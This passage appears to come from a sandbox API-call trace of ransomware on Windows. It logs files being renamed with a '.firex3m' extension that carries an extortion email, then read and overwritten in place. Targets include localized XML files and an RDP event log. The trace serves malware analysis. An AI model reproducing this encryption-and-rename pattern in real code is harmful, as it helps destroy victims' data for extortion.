cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0088.572] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0088.573] Sleep (dwMilliseconds=0x1) [0088.617] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", len=0x2c | out: pbstr=0x5d7ff7c*="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 1 [0088.617] GetProcessHeap () returned 0x630000 [0088.617] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x18) returned 0x6b0418 [0088.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0088.617] CloseHandle (hObject=0x6a0) returned 1 [0088.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.617] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.618] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0088.618] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0088.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0088.618] GetProcessHeap () returned 0x630000 [0088.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fa8600 [0088.780] GetProcessHeap () returned 0x630000 [0088.780] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fb3a30 [0088.780] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.780] ReadFile (in: hFile=0x6a0, lpBuffer=0x6fa8600, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8600*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.278] GetProcessHeap () returned 0x630000 [0094.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0094.278] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.278] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fb3a30*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb3a30*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.278] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.278] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fbee2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbee2f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0094.278] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.279] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0094.279] CloseHandle (hObject=0x6a0) returned 1 [0094.281] GetProcessHeap () returned 0x630000 [0094.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb3a30 | out: hHeap=0x630000) returned 1 [0094.281] GetProcessHeap () returned 0x630000 [0094.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8600 | out: hHeap=0x630000) returned 1 [0094.281] GetProcessHeap () returned 0x630000 [0094.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0094.281] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.281] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfe254b7e, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xfefa, dwReserved0=0xaf87496, dwReserved1=0x6fa85f8, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0094.281] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0094.282] Sleep (dwMilliseconds=0x1) [0096.198] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", len=0x2c | out: pbstr=0x5d7ff7c*="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 1 [0096.198] GetProcessHeap () returned 0x630000 [0096.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9198, Size=0x1c) returned 0x6e9378 [0096.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0096.199] CloseHandle (hObject=0x620) returned 1 [0096.199] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0096.199] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0096.199] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.199] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5500 [0096.200] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0096.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0096.200] GetProcessHeap () returned 0x630000 [0096.200] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fb3a30 [0096.200] GetProcessHeap () returned 0x630000 [0096.200] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0096.200] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.200] ReadFile (in: hFile=0x620, lpBuffer=0x6fb3a30, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb3a30*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.711] GetProcessHeap () returned 0x630000 [0101.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0101.712] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.712] WriteFile (in: hFile=0x620, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.713] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.713] WriteFile (in: hFile=0x620, lpBuffer=0x6ffcc3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc3f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0101.713] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.713] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0101.713] CloseHandle (hObject=0x620) returned 1 [0101.717] GetProcessHeap () returned 0x630000 [0101.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0101.717] GetProcessHeap () returned 0x630000 [0101.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb3a30 | out: hHeap=0x630000) returned 1 [0101.795] GetProcessHeap () returned 0x630000 [0101.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0101.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.796] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2944949, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x138a0, dwReserved0=0xaf87496, dwReserved1=0x6fb3a28, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0101.796] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0101.796] Sleep (dwMilliseconds=0x1) [0102.271] Sleep (dwMilliseconds=0x1) [0102.477] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.930] Sleep (dwMilliseconds=0x1) [0103.089] Sleep (dwMilliseconds=0x1) [0103.196] Sleep (dwMilliseconds=0x1) [0103.472] Sleep (dwMilliseconds=0x1) [0104.245] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", len=0x4e | out: pbstr=0x5d7ff7c*="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 1 [0104.245] GetProcessHeap () returned 0x630000 [0104.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e80f0, Size=0x58) returned 0x68ddb8 [0104.245] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0104.247] CloseHandle (hObject=0x6f8) returned 1 [0104.247] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.247] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.248] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.248] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIA13D~1.FIR")) returned 0x6d4e00 [0104.248] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0104.248] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0104.248] GetProcessHeap () returned 0x630000 [0104.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ad58 [0104.248] GetProcessHeap () returned 0x630000 [0104.249] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71a6188 [0104.249] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.249] ReadFile (in: hFile=0x6f8, lpBuffer=0x719ad58, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ad58*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.337] GetProcessHeap () returned 0x630000 [0112.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.337] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.337] WriteFile (in: hFile=0x6f8, lpBuffer=0x71a6188*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a6188*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.338] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.338] WriteFile (in: hFile=0x6f8, lpBuffer=0x71b1587*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b1587*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.338] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.338] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.338] CloseHandle (hObject=0x6f8) returned 1 [0112.339] GetProcessHeap () returned 0x630000 [0112.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71a6188 | out: hHeap=0x630000) returned 1 [0112.340] GetProcessHeap () returned 0x630000 [0112.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ad58 | out: hHeap=0x630000) returned 1 [0112.342] GetProcessHeap () returned 0x630000 [0112.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.342] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.342] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8e894cc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xaf87496, dwReserved1=0x719ad50, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIA13D~1.FIR")) returned 0x6d51c0 [0112.342] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.342] Sleep (dwMilliseconds=0x1) [0113.518] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", len=0x4f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 1 [0113.523] GetProcessHeap () returned 0x630000 [0113.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a048, Size=0x44) returned 0x649f58 [0113.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.533] Sleep (dwMilliseconds=0x1) [0113.536] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", len=0x4b | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 1 [0113.536] GetProcessHeap () returned 0x630000 [0113.536] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e6b8, Size=0x50) returned 0x6eeb28 [0113.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.537] Sleep (dwMilliseconds=0x1) [0113.553] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", len=0x56 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 1 [0113.553] GetProcessHeap () returned 0x630000 [0113.553] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eeb28, Size=0x4c) returned 0x6ef050 [0113.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.553] Sleep (dwMilliseconds=0x1) [0113.568] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", len=0x4c | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0113.568] GetProcessHeap () returned 0x630000 [0113.568] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef050, Size=0x48) returned 0x64a3b8 [0113.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.568] Sleep (dwMilliseconds=0x1) [0113.584] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", len=0x58 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 1 [0113.584] GetProcessHeap () returned 0x630000 [0113.584] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x44) returned 0x649f58 [0113.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.585] Sleep (dwMilliseconds=0x1) [0113.599] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", len=0x5e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 1 [0113.599] GetProcessHeap () returned 0x630000 [0113.599] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x40) returned 0x6fefba8 [0113.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.599] Sleep (dwMilliseconds=0x1) [0113.616] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", len=0x49 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 1 [0113.616] GetProcessHeap () returned 0x630000 [0113.616] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefba8, Size=0x3c) returned 0x6fefec0 [0113.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 